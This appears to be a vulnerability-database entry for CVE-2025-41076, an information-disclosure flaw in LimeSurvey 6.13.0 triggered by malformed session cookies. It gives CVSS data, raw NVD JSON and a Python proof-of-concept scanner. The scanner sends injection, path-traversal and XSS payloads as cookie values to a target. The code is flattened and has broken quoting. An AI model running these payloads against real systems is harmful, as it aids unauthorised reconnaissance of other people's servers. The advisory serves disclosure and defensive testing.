Security Vulnerability Report
中文
CVE-2025-41076 CVSS 6.5 MEDIUM

CVE-2025-41076

Published: 2025-11-20 15:17:29
Last Modified: 2025-11-21 19:54:57

Description

In version 6.13.0 of LimeSurvey, any external user can cause a 500 error in the survey system by sending a malformed session cookie. Instead of displaying a generic error message, the system exposes internal backend information, including the use of the Yii framework, the MySQL/MariaDB database engine, the table name 'lime_sessions', primary keys, and fragments of the content that caused the conflict. This information can simplify the collection of data about the internal architecture of the application by an attacker.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:limesurvey:limesurvey:6.13.0:*:*:*:*:*:*:* - VULNERABLE
LimeSurvey < 6.13.0 (未受影响)
LimeSurvey = 6.13.0 (受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-41076 PoC - LimeSurvey 6.13.0 Sensitive Information Disclosure # This PoC demonstrates how a malformed session cookie can trigger information disclosure TARGET_URL = "https://target-limesurvey.com" # Replace with target URL def exploit_cve_2025_41076(): """ Exploit function to trigger the vulnerability Sends a malformed session cookie to cause 500 error and leak internal information """ # Malformed session cookie with SQL injection-like characters # This triggers error handling that exposes backend details malformed_cookies = [ "PHPSESSID=admin' OR '1'='1", # SQL injection attempt "PHPSESSID=../../../etc/passwd", # Path traversal attempt "PHPSESSID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", # Buffer overflow "PHPSESSID={"type":"test","id":null}", # JSON injection "PHPSESSID=<script>alert(1)</script>" # XSS payload ] headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-41076 Scanner)", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" } for i, cookie_value in enumerate(malformed_cookies): print(f"[*] Testing malformed cookie {i+1}/{len(malformed_cookies)}") cookies = {"PHPSESSID": cookie_value} try: # Target common LimeSurvey endpoints endpoints = ["/", "/index.php", "/admin/authentication/sa/login"] for endpoint in endpoints: response = requests.get( f"{TARGET_URL}{endpoint}", cookies=cookies, headers=headers, timeout=10, verify=False ) # Check for information disclosure indicators indicators = [ "Yii Framework", "lime_sessions", "MySQL", "MariaDB", "PDOException", "Stack trace", "primary key", "SQLSTATE" ] for indicator in indicators: if indicator in response.text: print(f"[!] VULNERABLE! Found indicator: {indicator}") print(f"[+] Endpoint: {endpoint}") print(f"[+] Cookie value: {cookie_value}") print(f"[+] Status code: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") continue print("[*] No vulnerability indicators found") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print("CVE-2025-41076 LimeSurvey Information Disclosure Scanner") exploit_cve_2025_41076()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41076", "sourceIdentifier": "[email protected]", "published": "2025-11-20T15:17:29.427", "lastModified": "2025-11-21T19:54:57.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In version 6.13.0 of LimeSurvey, any external user can cause a 500 error in the survey system by sending a malformed session cookie. Instead of displaying a generic error message, the system exposes internal backend information, including the use of the Yii framework, the MySQL/MariaDB database engine, the table name 'lime_sessions', primary keys, and fragments of the content that caused the conflict. This information can simplify the collection of data about the internal architecture of the application by an attacker."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-209"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:limesurvey:limesurvey:6.13.0:*:*:*:*:*:*:*", "matchCriteriaId": "61C66C1A-C073-41C9-B847-F55896D4A6E2"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-limesurvey-0", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}